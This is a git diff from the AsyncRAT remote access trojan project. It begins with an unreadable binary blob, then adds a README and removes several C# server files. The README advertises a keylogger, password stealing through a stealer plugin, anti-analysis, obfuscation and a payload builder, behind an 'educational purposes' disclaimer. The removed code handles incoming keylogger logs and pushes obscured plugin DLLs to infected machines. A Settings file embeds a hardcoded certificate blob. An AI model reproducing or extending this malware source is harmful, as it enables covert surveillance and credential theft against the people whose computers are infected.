zCzIjOU@NIT$tEq$+WkUyCay{@9?BU0So?uyiu-xS7o#Kzmu4oT%E*J9t@gTk-l}nA{wdHcj z{_W|Zu2kMFT4ZMvJ<0w=c2`MDS0W3yEX7}4OYX7V1%*27f(<;^>`bXvp%7EPH`O>~<)hhv5DMpc; z7n~BcILM0wkaC#phPIqT@LEDDEQbb31^sV#?0TckL2@=4d?;H(;$ zFGU$%*|J4yVSd5(fG+c8ZF&%+&J%f6B7>}uZSF~fi~WF# z@YU!(vI_=8FcnH`ZM@sBa?A{PF`4LBtD!ieIt|zXUzb%etATo8e8H4YD@Ro*wgLkr><SUHywa;3T9U92noU~HiNi4NjrMLjYhml!42zN3y zkc7L^OJ$;aGe=>%0BGTlL$kp)RrqyYPBd(7=}`j1ZSZ{W(2_{(6Bt2 zM&O{c>#=*vB3|===r|G+(k>HAb|kxZsVoe!mAr+Zj%?P>7WYPQV8K15QOY&DwoceD z=bh6D3pcaR0p+sF#(99XW%6tDMMdqYL|+Em!Blsypu4cxayPQ}faBvciVM4dV!6uw z@IUYTavYxR&akHx$$?Q+Qw&fwl6~34z>cBj({?Ah!o-#}mQ}9DhEfr{wNw~Kg~Cd+ zTG6~|RM<*q>(`c3w2Yb~!~rFOO-xMa+w*e>Ut&{wz$e1(ex z6)Him(50zN53&m;J3$p@CNh#kJKg5y_%v3CHW(yl=rz4<_*1$&l38V4q1ffDVxS|6 zo7W{_3}!eS$Nhl$ZJe>d#+FTthL6;#NalHo>f>ZoI5A0CiE=HL$+nzRy(4o~Dr;x> z@Jj>OV&mdC^IXO)8O**NF}9>2%DBq1NZM=d6dI9YoU9b)jH8`hBCKV}Jo|Q?jUV}{ zJcyHjHqYMW^+YQ3;ZHg!2x^Qzf3L-9F(W51h=*PbVboAh-(S4$~9kMB>S9le- zTyeSOJpXEY>>zrUMorx0!5gV5;LtTb3%DEiF3(anAqVM#)$PFdpuK_y8ry@Ktb=VT z>MLg-B~fco**dNpRwW(FmqJGxt#hwv-01qQl1Mk?1~3vut(61Nz}|7SG?w*d!0&f+ z$BpK?wAOQd)?3iJ3U#?Y`w8~I?~bSZs~xT6FUXR21tN<4?YOfmSlOt)_@?2W@dDDy zS3}nxD%P*=b^LrsMpYy2W^uV_h@_19h&sQ8SaZ|hxmh|E}fIc(59ex`SnroB46XjP6hIA@X zL_zjT7CwV_%2%NbDGg=pFT%63Yug_A&G{XNz84Ces;v1vd19Jo88OnlKq3()!whur z>hRS)F^aB0;RJ6OFg(F)`8?4MT)en19}d@n8SMx|GHm(`uq`h^HXyLf92;GwMaMv< zlDHMi@M)IEr&!>X`A{J|HnJI<=ol+Tj8@{0HwXt!SF(Y6*yrM|-V7?xyi6lgO2(|`vZUrEk zM7bU=i+QwgWcX*1;nyR>ze4jCH}8w-!VUUN?!ts{*s}0=LW>UnDKh+56MhR%Fu2Dl z4{Q%GmNZHCp)M}00+*1wl&OnfU4rUjs!ISD%V$JW6W|E1Pmhk#QBkX_&|#cb2fe}; zDG$q7FrLRlxhn`uVAH!p@LFWV9~mi&j6}R_JN|4VtR2*usH^d#JbI-b9U14vxQ|Q- za;Kvs=S4;uSi(Z*z=@7rSZ7&fF>iGEAh#GDnO>)cdNSJ4(GE8k8JXn;Rfz`{qQ-c=168?8Z1$CakboKsShRz&uor(6 zYh;zsbso~f9G%gQ0F1;41bpy7AxbGad<-qKQ!oZ$4gm|*!3eXN(cyb6pC%DExuQbT zIAkZ{W%7|EE}noEovgxfa+%K`9TWD4@tF`tnCl3C=)!yfz%arsDZIRn%kHp0reom4 zk&!`}C14w9SqFhj7;n9ffpyX0`{9oJ@xY5wI6N{k1iQi$>MFRYXa{7%RyZ6@;azq_ z*~osj8r8|eMkp7ISUi4LMn^`ZDi1dr4kA>BACUhK>ShgwF*^JZ25R_IHLA}Kv7y5c z!fSBP13dT`TFmUp9K{Gz-OrQFu&gg!y=B9=nI~_u9$vWh+Q@eU^E_Ba2#+HHbO!wN z$HPp#@C<<7kOyxT5uPdo;C&!CkpbS~!4EW|Z9ZpF&`k>@!We&mvd%CgHJ~c+9mIFY zK-lXh{`6ZkrJFh~`#olKc*LnY8RCn;oWsm}fLy}Jr_d!HWIqN~tvf+>%@~Cv=wu!8;1fl}Q`D5^vWq6=1D{FaZ;g(IG*H7)=R^MT4UI1>KMJN3X-wiVoit z8NN-8BBl~geqt?b!XTp@Lt1nQDCQ5)3HWIq@fwHa2gNBVPJt&&hYmzEaBykS{bd+d zS2N5TJ}ANR00+81Y{aR~8;9>KVEkoH0N*lCoP89Bj~E+dFa&^U2P_2%oss>9g(??L9dSavY7= zm~mthUcd59$4{W}kML?K)i$s0=qldup6cA-xs-n<1+C#R#Uj4JpH2+%gN6#O6DyX) zX5v>!9=UJDEfD>1Qpb<@%Iyx~yXbm+lguf7DoUte>pI&zx3&AOdG?CH%Db;v|GtMR zUzyGZFPXQ6?~LWPtX{GuXAk1Ewn)?T{4e!C z#smCYDEXcI@aQh{RK*{lBszo7a?A1EbcEeI?8&#{ zx*EIxH6r&F&l{)I8xGt8f7Df8dIp6B&RGYzOnusM;Ws=I*bx^_1}m_i?!_LNKa-_a z7fShLk;7Ss_v0y)W~3Z%rFgc$Rt+}gA*IfMXKI=wGA-!0`Zp85hJ+9B<_7ztaQfrZ z5AF;&nkTu+__UP4`Kfpgab)n<^6;~qT{y8*IUv{mZMbZUl7 z;Y+j|Si%&aBME1yw{NHN`C90-Vf!FX zy?IxUm5npSkE3Ny_vY!ooFjGGU_IZN=*Q@%(fb%8Z}cdfUe9sM{~woO^*i1WPuKtb J{Ezd%{{`sDEd>Ao diff --git a/AsyncRAT-C#/README.md b/AsyncRAT-C#/README.md new file mode 100644 index 0000000..3a43746 --- /dev/null +++ b/AsyncRAT-C#/README.md @@ -0,0 +1,66 @@ + + +# AsyncRAT +AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection + +# Included projects +##### This project includes the following +- Access terminal for controlling clients +- Configurable client manageable via Terminal +- Log server recording all significant events + +##### Features Include: +- Client screen viewer & recorder +- Client Antivirus & Integrity manager +- Client SFTP access including upload & download +- Client & Server chat window +- Client Dynamic DNS & Multi-Server support (Configurable) +- Client Password Recovery +- Client JIT compiler +- Client Keylogger +- Client Anti Analysis (Configurable) +- Server Controlled updates +- Client Antimalware Start-up +- Server Config Editor +- Server multiport receiver (Configurable) +- Server thumbnails +- Server binary builder (Configurable) +- Server obfuscator (Configurable) +- And much more! + +### Technical Details +The following online servers / resources are used in this project +* [pastebin.com] - used for the "PasteBin" option in client builder +* [github.com] - used for downloading and uploading changes to the project +### Installation & Deployment + +AsyncRAT requires the [.Net Framework](https://dotnet.microsoft.com/download/dotnet-framework/net46) v4 (client) and v4.6+ (server) to run. + +```diff +- to compile this project(s) visual studio 2019 or above to is required +``` + +### Plugins +Currently the program makes use of several integrated DLL's (see below for more details) + +| Plugin | Source | +| ------ | ------ | +| StealerLib | [gitlab.com/thoxy/stealerlib] | + +### Download +[AsyncRAT-C-Sharp/releases](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/releases) + +### Are you a C# or .Net Developer and want to contribute? +##### Great! +Please read through the project first to get an idea of how the program is structured first after which create a fork with your own changes and purpose a pull request as well a an issue referencing what you have changed, why you have changed it, and why / if you think it should be implemented + +### Donation +##### Buy me a coffee! +BTC: 12DaUTCemhDEzNw7cAFg9FndzcWkYZt6C8 + +### LEGAL DISCLAIMER PLEASE READ! +##### I, the creator and all those associated with the development and production of this program are not responsible for any actions and or damages caused by this software. You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software's intended purpose is NOT to be used maliciously, or on any system that you do not have own or have explicit permission to operate and use this program on. By using this software, you automatically agree to the above. + +## License +[![License](http://img.shields.io/:license-mit-blue.svg?style=flat-square)](/LICENSE) +This project is licensed under the MIT License - see the [LICENSE](/LICENSE) file for details diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs deleted file mode 100644 index d6aeddd..0000000 --- a/AsyncRAT-C#/Server/Forms/FormChat.cs +++ /dev/null @@ -1,86 +0,0 @@ -using Server.MessagePack; -using Server.Connection; -using Microsoft.VisualBasic; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using System.Threading; -using Server.Helper; -using System.IO; - -namespace Server.Forms -{ - public partial class FormChat : Form - { - public Form1 F { get; set; } - public Clients Client { get; set; } - public Clients ParentClient { get; set; } - - private string Nickname = "Admin"; - public FormChat() - { - InitializeComponent(); - } - - private void TextBox1_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) - { - try - { - richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; - msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - textBox1.Clear(); - } - catch { } - } - } - - private void FormChat_Load(object sender, EventArgs e) - { - try - { - string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin"); - if (string.IsNullOrEmpty(nick)) - this.Close(); - else - { - Nickname = nick; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Command").AsString = "invoke"; - msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginChat.dll")); - ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); - } - } - catch { } - } - - private void FormChat_FormClosed(object sender, FormClosedEventArgs e) - { - try - { - Client?.Disconnected(); - } - catch { } - } - - private void Timer1_Tick(object sender, EventArgs e) - { - try - { - if (!Client.TcpClient.Connected) this.Close(); - } - catch { } - } - } -} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs deleted file mode 100644 index 158b878..0000000 --- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs +++ /dev/null @@ -1,54 +0,0 @@ -using Server.Forms; -using Server.MessagePack; -using Server.Connection; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace Server.Handle_Packet -{ - public class HandleChat - { - public HandleChat(MsgPack unpack_msgpack, Clients client) - { - switch (unpack_msgpack.ForcePathObject("Command").GetAsString()) - { - case "started": - { - FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString]; - if (chat != null) - { - chat.Client = client; - chat.timer1.Start(); - chat.textBox1.Enabled = true; - chat.richTextBox1.Enabled = true; - } - break; - } - - case "chat": - { - FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString]; - if (chat != null) - { - Console.Beep(); - chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); - chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; - chat.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - break; - } - } - } - } -} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs deleted file mode 100644 index 2e30f71..0000000 --- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs +++ /dev/null @@ -1,52 +0,0 @@ -using Server.Forms; -using Server.MessagePack; -using Server.Connection; -using System; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Windows.Forms; - -namespace Server.Handle_Packet -{ - class HandleKeylogger - { - public HandleKeylogger(Clients client, MsgPack unpack_msgpack) - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "logs": - { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()]; - if (KL != null) - { - KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); - KL.richTextBox1.Text = KL.Sb.ToString(); - KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; - KL.richTextBox1.ScrollToCaret(); - } - else - { - client.Disconnected(); - } - break; - } - - case "started": - { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()]; - if (KL != null) - { - KL.Client = client; - KL.timer1.Start(); - } - else - { - client.Disconnected(); - } - break; - } - } - } - } -} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs deleted file mode 100644 index b3e398b..0000000 --- a/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs +++ /dev/null @@ -1,37 +0,0 @@ -using Server.Connection; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.IO; -using System.Windows.Forms; -using Server.Helper; -using Server.MessagePack; -using Microsoft.VisualBasic; - -namespace Server.Handle_Packet -{ - public class HandlePlugin - { - public HandlePlugin(Clients client, string hash) - { - if (hash.Length == 32 && !hash.Contains("\\")) - { - foreach (string _hash in Directory.GetFiles(Path.Combine(Application.StartupPath, "Plugin"))) - { - if (hash == Methods.GetHash(_hash)) - { - Console.WriteLine("Found: " + hash); - MsgPack msgPack = new MsgPack(); - msgPack.ForcePathObject("Packet").AsString = "plugin"; - msgPack.ForcePathObject("Command").AsString = "install"; - msgPack.ForcePathObject("Hash").AsString = hash; - msgPack.ForcePathObject("Dll").AsString = Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(_hash))); - client.Send(msgPack.Encode2Bytes()); - } - } - } - } - } -} diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs deleted file mode 100644 index 5818325..0000000 --- a/AsyncRAT-C#/Server/Settings.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Server.Algorithm; -using Server.Connection; -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Windows.Forms; - -namespace Server -{ - public static class Settings - { - public static List Online = new List(); - public static List Blocked = new List(); - public static long Sent { get; set; } - public static long Received { get; set; } - -#if DEBUG - public static string CertificatePath = "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"; -#else - public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; -#endif - public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.3"; - public static object Listview1Lock = new object(); - public static object Listview2Lock = new object(); - public static object Listview3Lock = new object(); - } -}